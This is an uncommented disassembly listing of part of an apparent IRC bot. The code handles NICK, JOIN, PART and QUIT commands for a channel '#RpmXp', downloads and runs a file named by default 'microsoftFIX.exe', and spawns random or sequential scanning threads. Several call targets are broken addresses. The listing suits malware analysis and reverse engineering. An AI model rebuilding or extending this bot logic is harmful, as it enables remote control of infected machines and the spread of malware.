; ---------------------------------------------------------------------------
loc_405DD7: ; CODE XREF: sub_403038+232Aj
; sub_403038+233Fj
mov esi, [ebp+esi+var_8C]
push esi
call dword_445388
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_405E1B
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_445300
cmp eax, ebx
jz short loc_405E3C
push dword ptr [eax]
push esi
push offset unk_439094
loc_405E07: ; CODE XREF: sub_403038+2E02j
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 10h
jmp loc_404E0F
; ---------------------------------------------------------------------------
loc_405E1B: ; CODE XREF: sub_403038+2DB3j
push esi
call dword_4453CC
cmp eax, ebx
jz short loc_405E3C
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4453D4
push eax
push esi
push offset unk_4390B4
jmp short loc_405E07
; ---------------------------------------------------------------------------
loc_405E3C: ; CODE XREF: sub_403038+2DC5j
; sub_403038+2DECj
push offset unk_4390D4
jmp loc_405AEA
; ---------------------------------------------------------------------------
loc_405E46: ; CODE XREF: sub_403038+2300j
; sub_403038+2315j
mov esi, [ebp+esi+var_8C]
push 7Fh
push esi
push [ebp+arg_14]
call sub_417770
push esi
lea eax, [ebp+var_2E4]
push offset unk_439064
push eax
call sub_4171D0
add esp, 18h
jmp loc_4072D4
; ---------------------------------------------------------------------------
loc_405E72: ; CODE XREF: sub_403038+22D6j
; sub_403038+22EBj
mov esi, [ebp+esi+var_8C]
push 5
push ebx
push ebx
push esi
push offset aOpen_0 ; "open"
push ebx
call dword_4452B4
test eax, eax
push esi
jz short loc_405E99
push offset unk_439014
jmp loc_407220
; ---------------------------------------------------------------------------
loc_405E99: ; CODE XREF: sub_403038+2E55j
push offset unk_439034
jmp loc_407220
; ---------------------------------------------------------------------------
loc_405EA3: ; CODE XREF: sub_403038+22ACj
; sub_403038+22C1j
mov esi, [ebp+esi+var_8C]
mov al, [esi]
mov byte_436C28, al
movsx eax, byte ptr [esi]
push eax
push offset unk_438FD8
jmp loc_4072C5
; ---------------------------------------------------------------------------
loc_405EBF: ; CODE XREF: sub_403038+2282j
; sub_403038+2297j
mov esi, [ebp+esi+var_8C]
push esi
call sub_4174D0
test eax, eax
pop ecx
jle loc_40858F
push esi
call sub_4174D0
cmp eax, 400h
pop ecx
jge loc_40858F
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_408B4C
push eax
lea eax, [ebp+var_2E4]
push offset aNickS ; "NICK %s"
push eax
call sub_4171D0
add esp, 1Ch
lea eax, [ebp+var_2E4]
push eax
push offset aS_13 ; "%s\r\n"
jmp loc_40816B
; ---------------------------------------------------------------------------
loc_405F1D: ; CODE XREF: sub_403038+2258j
; sub_403038+226Dj
mov esi, [ebp+esi+var_8C]
push esi
call sub_4174D0
test eax, eax
pop ecx
jle loc_4034D4
push esi
call sub_4174D0
cmp eax, 400h
pop ecx
jge loc_4034D4
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_4174D0
imul eax, 234h
pop ecx
push dword_44621C[eax]
call sub_4013FF
pop ecx
pop ecx
push 1F4h
nop
call near ptr 2690599h
push esi
call sub_4174D0
imul eax, 234h
pop ecx
push dword_44621C[eax]
call dword_4453E0
push [ebp+var_10]
push esi
call sub_4174D0
imul eax, 234h
pop ecx
push dword_446224[eax]
nop
call near ptr 26D0BAFh
push esi
call sub_4174D0
imul eax, 234h
push esi
mov dword_446224[eax], ebx
call sub_4174D0
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_446010[eax], bl
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_405FCF: ; CODE XREF: sub_403038+222Ej
; sub_403038+2243j
push [ebp+esi+var_8C]
push offset aAll ; "all"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_406004
call sub_40901C
cmp eax, ebx
jle short loc_405FFA
push eax
push offset unk_438EEC
jmp loc_40511A
; ---------------------------------------------------------------------------
loc_405FFA: ; CODE XREF: sub_403038+2FB5j
push offset unk_438F14
jmp loc_407679
; ---------------------------------------------------------------------------
loc_406004: ; CODE XREF: sub_403038+2FACj
mov eax, [ebp+var_A8]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_4034D4
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_406020: ; CODE XREF: sub_403038+3059j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_4034D4
push esi
call sub_4174D0
push eax
call sub_408F8E
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_406047
push offset unk_438F3C
jmp short loc_40604C
; ---------------------------------------------------------------------------
loc_406047: ; CODE XREF: sub_403038+3006j
push offset unk_438F60
loc_40604C: ; CODE XREF: sub_403038+300Dj
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40607C
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_40607C: ; CODE XREF: sub_403038+3026j
lea eax, [ebp+var_2E4]
push eax
call sub_410557
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_406020
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_406098: ; CODE XREF: sub_403038+2204j
; sub_403038+2219j
cmp [ebp+var_C], ebx
jz loc_40858F
push [ebp+esi+var_8C]
push [ebp+var_C]
call sub_417B50
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40858F
push esi
push offset aS_28 ; "%s\r\n"
push [ebp+arg_4]
call sub_4013FF
push esi
push offset dword_438EBC
jmp loc_408389
; ---------------------------------------------------------------------------
loc_4060D5: ; CODE XREF: sub_403038+21DAj
; sub_403038+21EFj
mov esi, [ebp+esi+var_8C]
push esi
push offset aPartS ; "PART %s\r\n"
push [ebp+arg_4]
call sub_4013FF
push esi
push offset unk_438E88
jmp loc_408389
; ---------------------------------------------------------------------------
loc_4060F5: ; CODE XREF: sub_403038+21B0j
; sub_403038+21C5j
push [ebp+esi+var_88]
mov edi, [ebp+esi+var_8C]
push edi
push offset aJoinSS_1 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4013FF
push edi
push offset unk_438E4C
jmp loc_408249
; ---------------------------------------------------------------------------
loc_40611C: ; CODE XREF: sub_403038+2186j
; sub_403038+219Bj
mov esi, [ebp+esi+var_8C]
push esi
push offset aNickS_0 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_4013FF
push esi
push offset unk_438E0C
jmp loc_408389
; ---------------------------------------------------------------------------
loc_40613C: ; CODE XREF: sub_403038+215Cj
; sub_403038+2171j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_4013FF
mov esi, [ebp+esi+var_8C]
lea eax, [ebp+var_2E4]
push esi
push offset unk_438DD0
push eax
call sub_4171D0
lea eax, [ebp+var_2E4]
push eax
call sub_410557
push esi
call sub_4174D0
add esp, 1Ch
loc_406177: ; CODE XREF: sub_403038+318Ej
push eax
nop
call near ptr 2690599h
loc_40617E: ; CODE XREF: sub_403038+3F0Bj
xor eax, eax
jmp loc_4034D7
; ---------------------------------------------------------------------------
loc_406185: ; CODE XREF: sub_403038+2132j
; sub_403038+2147j
push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_4013FF
mov esi, [ebp+esi+var_8C]
lea eax, [ebp+var_2E4]
push esi
push offset unk_438D78
push eax
call sub_4171D0
lea eax, [ebp+var_2E4]
push eax
call sub_410557
push esi
call sub_4174D0
add esp, 1Ch
imul eax, 3E8h
jmp short loc_406177
; ---------------------------------------------------------------------------
loc_4061C8: ; CODE XREF: sub_403038+1FA5j
; sub_403038+1FBAj
mov al, byte_43E15A
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_43E15A
jz loc_4034D4
mov ecx, edx
loc_4061DF: ; CODE XREF: sub_403038+31AFj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4061DF
cmp al, bl
jz loc_4034D4
mov [ebp+arg_18], edx
loc_4061F4: ; CODE XREF: sub_403038+347Cj
push 0Bh
call sub_40909B
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_406243
push ecx
lea eax, [ebp+var_2E4]
push offset unk_438B70
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 20h
jmp loc_4064AB
; ---------------------------------------------------------------------------
loc_406243: ; CODE XREF: sub_403038+31D6j
or [ebp+var_400], 0FFFFFFFFh
cmp dword_43DE38, ebx
mov [ebp+var_404], 64h
mov [ebp+var_418], 5
mov [ebp+var_414], 320h
mov [ebp+arg_0], ebx
jz short loc_4062B4
mov eax, [ebp+arg_18]
mov esi, offset dword_43DE38
lea edi, [eax-0Ah]
loc_40627E: ; CODE XREF: sub_403038+325Ej
lea eax, [esi-28h]
push edi
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_40629A
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_40627E
jmp short loc_4062B4
; ---------------------------------------------------------------------------
loc_40629A: ; CODE XREF: sub_403038+3254j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_400], eax
shl ecx, 6
mov ecx, dword_43DE38[ecx]
mov [ebp+var_41C], ecx
loc_4062B4: ; CODE XREF: sub_403038+3239j
; sub_403038+3260j
cmp [ebp+var_41C], ebx
jz loc_4064BF
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_D8]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_4452EC
mov al, [ebp+var_99B]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_D4], eax
push [ebp+var_D4]
call dword_4453D4
push eax
lea eax, [ebp+var_530]
push eax
call sub_417770
xor eax, eax
cmp [ebp+var_99B], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_530]
push eax
call sub_418310
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_406356
loc_406334: ; CODE XREF: sub_403038+331Cj
cmp eax, ebx
jz short loc_406356
mov byte ptr [eax], 78h
lea eax, [ebp+var_530]
push 30h
push eax
call sub_418310
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_406334
loc_406356: ; CODE XREF: sub_403038+32FAj
; sub_403038+32FEj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_420], eax
lea eax, [ebp+var_520]
push 80h
push eax
mov [ebp+var_3F0], 1
mov [ebp+var_3F8], esi
mov [ebp+var_3F4], edi
call sub_4172D0
push offset dword_4D319C
push offset aRpmxp_0 ; "#RpmXp"
call sub_417870
add esp, 14h
test eax, eax
jz short loc_4063C3
push offset aRpmxp_0 ; "#RpmXp"
lea eax, [ebp+var_4A0]
push 80h
push eax
call sub_4172D0
add esp, 0Ch
jmp short loc_4063C9
; ---------------------------------------------------------------------------
loc_4063C3: ; CODE XREF: sub_403038+336Ej
mov [ebp+var_4A0], bl
loc_4063C9: ; CODE XREF: sub_403038+3389j
cmp [ebp+var_3F0], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4063DB
mov eax, offset aSequential ; "Sequential"
loc_4063DB: ; CODE XREF: sub_403038+339Cj
push [ebp+var_404]
lea ecx, [ebp+var_530]
push [ebp+var_414]
push [ebp+var_418]
push [ebp+var_41C]
push ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_438BFC
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 0Bh
push eax
call sub_408E53
add esp, 2Ch
mov [ebp+var_410], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_530]
push ebx
push eax
push offset loc_40A0E0
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_410]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_406465
loc_406453: ; CODE XREF: sub_403038+342Bj
cmp [ebp+var_3EC], ebx
jnz short loc_406480
push 32h
call near ptr 2690599h
nop
jmp short loc_406453
; ---------------------------------------------------------------------------
loc_406465: ; CODE XREF: sub_403038+3419j
call near ptr 26908EFh
nop
push eax
lea eax, [ebp+var_2E4]
push offset unk_438C68
push eax
call sub_4171D0
add esp, 0Ch
loc_406480: ; CODE XREF: sub_403038+3421j
cmp edi, ebx
jnz short loc_40649E
push ebx
lea eax, [ebp+var_2E4]
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_40649E: ; CODE XREF: sub_403038+344Aj
lea eax, [ebp+var_2E4]
push eax
call sub_410557
pop ecx
loc_4064AB: ; CODE XREF: sub_403038+3206j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4061F4
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_4064BF: ; CODE XREF: sub_403038+3282j
push offset unk_438BB0
jmp loc_407679
; ---------------------------------------------------------------------------
loc_4064C9: ; CODE XREF: sub_403038+1F15j
; sub_403038+1F2Aj
push 5
call sub_40909B
test eax, eax
pop ecx
jle short loc_4064DF
push offset unk_438AA8
jmp loc_4055CA
; ---------------------------------------------------------------------------
loc_4064DF: ; CODE XREF: sub_403038+349Bj
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_406502
push eax
mov edi, 104h
lea eax, [ebp+var_7EC]
push edi
push eax
call sub_4172D0
add esp, 0Ch
jmp short loc_406516
; ---------------------------------------------------------------------------
loc_406502: ; CODE XREF: sub_403038+34B0j
mov edi, 104h
lea eax, [ebp+var_7EC]
push edi
push eax
push ebx
nop
call near ptr 2680000h
loc_406516: ; CODE XREF: sub_403038+34C8j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_406526
mov esi, offset aMicrosoftfix_e ; "microsoftFIX.exe"
loc_406526: ; CODE XREF: sub_403038+34E7j
push esi
lea eax, [ebp+var_6E8]
push edi
push eax
call sub_4172D0
mov eax, dword_436C0C
push 7Fh
push [ebp+var_88]
mov [ebp+var_5DC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_5E0], ebx
mov [ebp+var_7F0], eax
lea eax, [ebp+var_5D8]
push eax
call sub_417770
mov eax, [ebp+var_4]
mov [ebp+var_558], eax
mov eax, [ebp+var_8]
mov [ebp+var_554], eax
lea eax, [ebp+var_7EC]
push eax
lea eax, [ebp+var_2E4]
push [ebp+var_5DC]
push offset unk_438AC8
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 5
push eax
call sub_408E53
add esp, 34h
mov [ebp+var_5E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F0]
push ebx
push eax
push offset byte_40FFAF
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_5E4]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_4065EF
loc_4065D9: ; CODE XREF: sub_403038+35B5j
cmp [ebp+var_550], ebx
jnz loc_4072D4
push 32h
nop
call near ptr 2690599h
jmp short loc_4065D9
; ---------------------------------------------------------------------------
loc_4065EF: ; CODE XREF: sub_403038+359Fj
nop
call near ptr 26908EFh
push eax
push offset unk_438AFC
jmp loc_4072C5
; ---------------------------------------------------------------------------
loc_406600: ; CODE XREF: sub_403038+1EEBj
; sub_403038+1F00j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40661F
push edi
call sub_4174D0
test eax, eax
pop ecx
jz short loc_40661F
push edi
call sub_4174D0
pop ecx
jmp short loc_406624
; ---------------------------------------------------------------------------
loc_40661F: ; CODE XREF: sub_403038+35D1j
; sub_403038+35DCj
mov eax, dword_436C10
loc_406624: ; CODE XREF: sub_403038+35E5j
mov esi, [ebp+esi+var_88]
mov [ebp+var_56C], eax
xor eax, eax
cmp [ebp+var_998], bl
setz al
cmp esi, ebx
mov [ebp+var_558], eax
jz short loc_406657
lea eax, [ebp+var_670]
push esi
push eax
call sub_4171D0
pop ecx
pop ecx
jmp short loc_406682
; ---------------------------------------------------------------------------
loc_406657: ; CODE XREF: sub_403038+360Cj
lea eax, [ebp+var_4E8]
push 104h
push eax
nop
call near ptr 2690000h
push ebx
push ebx
lea eax, [ebp+var_D4]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_417BD0
add esp, 14h
loc_406682: ; CODE XREF: sub_403038+361Dj
lea eax, [ebp+var_670]
push eax
call sub_414BE0
cmp [ebp+eax+var_671], 5Ch
pop ecx
jnz short loc_4066AD
lea eax, [ebp+var_670]
push eax
call sub_414BE0
pop ecx
mov [ebp+eax+var_671], bl
loc_4066AD: ; CODE XREF: sub_403038+365Fj
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_8F8]
mov [ebp+var_8FC], esi
push 80h
push eax
call sub_4172D0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_55C], eax
lea eax, [ebp+var_670]
mov [ebp+var_560], edi
push eax
push [ebp+var_56C]
push esi
call sub_40267D
pop ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_438A1C
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 3
push eax
call sub_408E53
add esp, 20h
mov [ebp+var_564], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8FC]
push ebx
push eax
push offset sub_40D8F7
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_564]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_406765
loc_40674F: ; CODE XREF: sub_403038+372Bj
cmp [ebp+var_550], ebx
jnz loc_407EE8
push 32h
nop
call near ptr 2690599h
jmp short loc_40674F
; ---------------------------------------------------------------------------
loc_406765: ; CODE XREF: sub_403038+3715j
call near ptr 26908EFh
nop
push eax
push offset unk_438A58
jmp loc_407ED9
; ---------------------------------------------------------------------------
loc_406776: ; CODE XREF: sub_403038+1EC1j
; sub_403038+1ED6j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_406795
push edi
call sub_4174D0
test eax, eax
pop ecx
jz short loc_406795
push edi
call sub_4174D0
pop ecx
jmp short loc_40679A
; ---------------------------------------------------------------------------
loc_406795: ; CODE XREF: sub_403038+3747j
; sub_403038+3752j
mov eax, dword_436C14
loc_40679A: ; CODE XREF: sub_403038+375Bj
mov [ebp+var_568], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_4067B1
lea eax, [ebp+var_C0]
loc_4067B1: ; CODE XREF: sub_403038+3771j
push eax
lea eax, [ebp+var_6A8]
push 40h
push eax
call sub_4172D0
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_4067D3
mov esi, offset dword_4D3198
loc_4067D3: ; CODE XREF: sub_403038+3794j
push esi
lea eax, [ebp+var_668]
push 100h
push eax
call sub_4172D0
push [ebp+var_88]
lea eax, [ebp+var_728]
push 80h
push eax
call sub_4172D0
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_554], eax
lea eax, [ebp+var_6A8]
push eax
mov [ebp+var_72C], esi
push [ebp+var_568]
mov [ebp+var_558], edi
push esi
call sub_40267D
pop ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_438990
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 9
push eax
call sub_408E53
add esp, 20h
mov [ebp+var_564], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_72C]
push ebx
push eax
push offset word_40F266
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_564]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_40689D
loc_406887: ; CODE XREF: sub_403038+3863j
cmp [ebp+var_550], ebx
jnz loc_407EE8
push 32h
nop
call near ptr 2690599h
jmp short loc_406887
; ---------------------------------------------------------------------------
loc_40689D: ; CODE XREF: sub_403038+384Dj
call near ptr 26908EFh
nop
push eax
push offset unk_4389CC
jmp loc_407ED9
; ---------------------------------------------------------------------------
loc_4068AE: ; CODE XREF: sub_403038+1E97j
; sub_403038+1EACj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4068C1
push esi
call sub_4174D0
jmp short loc_4068C8
; ---------------------------------------------------------------------------
loc_4068C1: ; CODE XREF: sub_403038+387Fj
push 0Bh
call sub_4090BA
loc_4068C8: ; CODE XREF: sub_403038+3887j
cmp eax, ebx
pop ecx
jz loc_40858F
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_409757
loc_4068E3: ; CODE XREF: sub_403038+3D1Fj
add esp, 10h
jmp loc_40858F
; ---------------------------------------------------------------------------
loc_4068EB: ; CODE XREF: sub_403038+1E6Dj
; sub_403038+1E82j
mov eax, dword_445264
cmp eax, ebx
jz short loc_406908
call eax
test eax, eax
jz short loc_406901
push offset unk_4388EC
jmp short loc_40691D
; ---------------------------------------------------------------------------
loc_406901: ; CODE XREF: sub_403038+38C0j
push offset unk_438910
jmp short loc_40691D
; ---------------------------------------------------------------------------
loc_406908: ; CODE XREF: sub_403038+38BAj
push offset unk_43893C
jmp short loc_40691D
; ---------------------------------------------------------------------------
loc_40690F: ; CODE XREF: sub_403038+1E43j
; sub_403038+1E58j
call sub_402599
test eax, eax
jz short loc_406933
push offset unk_438888
loc_40691D: ; CODE XREF: sub_403038+38C7j
; sub_403038+38CEj ...
lea eax, [ebp+var_2E4]
push 200h
push eax
call sub_4172D0
jmp loc_40722C
; ---------------------------------------------------------------------------
loc_406933: ; CODE XREF: sub_403038+38DEj
push offset unk_4388AC
jmp short loc_40691D
; ---------------------------------------------------------------------------
loc_40693A: ; CODE XREF: sub_403038+1E19j
; sub_403038+1E2Ej
cmp [ebp+var_8], ebx
jnz short loc_406959
push ebx
push [ebp+var_4]
push offset dword_438840
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_406959: ; CODE XREF: sub_403038+3905j
push ebx
push [ebp+var_4]
call sub_411D9F
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
push offset dword_438858
jmp loc_406C26
; ---------------------------------------------------------------------------
loc_40697B: ; CODE XREF: sub_403038+1811j
; sub_403038+1826j
push 0Ah
call sub_40909B
test eax, eax
pop ecx
jle short loc_406991
push offset unk_438750
jmp loc_407679
; ---------------------------------------------------------------------------
loc_406991: ; CODE XREF: sub_403038+394Dj
push [ebp+var_88]
push [ebp+arg_4]
call sub_4139E2
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4069B0
push offset unk_43877C
jmp loc_407679
; ---------------------------------------------------------------------------
loc_4069B0: ; CODE XREF: sub_403038+396Cj
push offset unk_4387A4
jmp loc_407679
; ---------------------------------------------------------------------------
loc_4069BA: ; CODE XREF: sub_403038+17E7j
; sub_403038+17FCj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40219C
jmp loc_406C44
; ---------------------------------------------------------------------------
loc_4069D3: ; CODE XREF: sub_403038+17BDj
; sub_403038+17D2j
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41188C
jmp loc_406C44
; ---------------------------------------------------------------------------
loc_4069F0: ; CODE XREF: sub_403038+1793j
; sub_403038+17A8j
or edi, 0FFFFFFFFh
nop
call near ptr 26C05FFh
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_406A19
push esi
call sub_4174D0
pop ecx
mov edi, eax
loc_406A19: ; CODE XREF: sub_403038+39D6j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_406A32
cmp edi, 0FFFFFFFFh
jnz loc_40858F
loc_406A32: ; CODE XREF: sub_403038+39EFj
push ebx
call sub_413F6C
push eax
lea eax, [ebp+var_2E4]
push offset dword_438708
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
lea eax, [ebp+var_2E4]
push eax
call sub_410557
jmp loc_407A9B
; ---------------------------------------------------------------------------
loc_406A74: ; CODE XREF: sub_403038+1769j
; sub_403038+177Ej
push 27h
call sub_40909B
test eax, eax
pop ecx
jle short loc_406AA5
cmp [ebp+var_8], ebx
jnz loc_4034D4
push ebx
push [ebp+var_4]
push offset unk_43867C
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
jmp loc_40853A
; ---------------------------------------------------------------------------
loc_406AA5: ; CODE XREF: sub_403038+3A46j
push [ebp+var_88]
lea eax, [ebp+var_378]
push 80h
push eax
call sub_4172D0
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_37C], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_2EC], eax
mov [ebp+var_2F4], ebx
jz short loc_406B06
push esi
push offset aFull ; "full"
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz short loc_406B06
mov [ebp+var_2F4], 1
loc_406B06: ; CODE XREF: sub_403038+3AB1j
; sub_403038+3AC2j
lea eax, [ebp+var_2E4]
push offset dword_4386A4
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 27h
push eax
call sub_408E53
add esp, 14h
mov [ebp+var_2F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_37C]
push ebx
push eax
push offset sub_413669
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_2F8]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_406B74
loc_406B5E: ; CODE XREF: sub_403038+3B3Aj
cmp [ebp+var_2E8], ebx
jnz loc_40514A
push 32h
nop
call near ptr 2690599h
jmp short loc_406B5E
; ---------------------------------------------------------------------------
loc_406B74: ; CODE XREF: sub_403038+3B24j
nop
call near ptr 26908EFh
push eax
push offset unk_4386C0
loc_406B80: ; CODE XREF: sub_403038+2CFAj
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 0Ch
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_406B94: ; CODE XREF: sub_403038+173Fj
; sub_403038+1754j
cmp [ebp+var_8], ebx
jnz short loc_406BB3
push ebx
push [ebp+var_4]
push offset dword_438654
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_406BB3: ; CODE XREF: sub_403038+3B5Fj
push [ebp+arg_4]
call dword_4453E0
call dword_4452A0
call sub_411FA3
push ebx
call near ptr 77E75CB5h
nop
loc_406BCE: ; CODE XREF: sub_403038+1715j
; sub_403038+172Aj
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_414129
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
push offset dword_438624
jmp short loc_406C26
; ---------------------------------------------------------------------------
loc_406BF9: ; CODE XREF: sub_403038+16EBj
; sub_403038+1700j
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_4143DD
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
push offset dword_4385FC
loc_406C26: ; CODE XREF: sub_403038+393Ej
; sub_403038+3BBFj
call sub_410557
jmp loc_40824E
; ---------------------------------------------------------------------------
loc_406C30: ; CODE XREF: sub_403038+16C1j
; sub_403038+16D6j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410694
loc_406C44: ; CODE XREF: sub_403038+3BCj
; sub_403038+3996j ...
add esp, 10h
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_406C4C: ; CODE XREF: sub_403038+1697j
; sub_403038+16ACj
cmp [ebp+var_C], ebx
mov [ebp+var_474], bl
jz short loc_406C8B
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_406C8B
push esi
push [ebp+var_C]
call sub_417B50
pop ecx
cmp eax, ebx
pop ecx
jz short loc_406C8B
push eax
push offset dword_43858C
lea eax, [ebp+var_474]
push 80h
push eax
call sub_4172D0
add esp, 10h
loc_406C8B: ; CODE XREF: sub_403038+3C1Dj
; sub_403038+3C28j ...
push [ebp+var_88]
lea eax, [ebp+var_4F4]
push 80h
push eax
call sub_4172D0
mov eax, [ebp+arg_4]
push offset dword_438590
mov [ebp+var_4F8], eax
mov eax, [ebp+var_4]
mov [ebp+var_3F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_3EC], eax
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 25h
push eax
call sub_408E53
add esp, 20h
mov [ebp+var_3F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F8]
push ebx
push eax
push offset byte_410707
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_3F4]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_406D2B
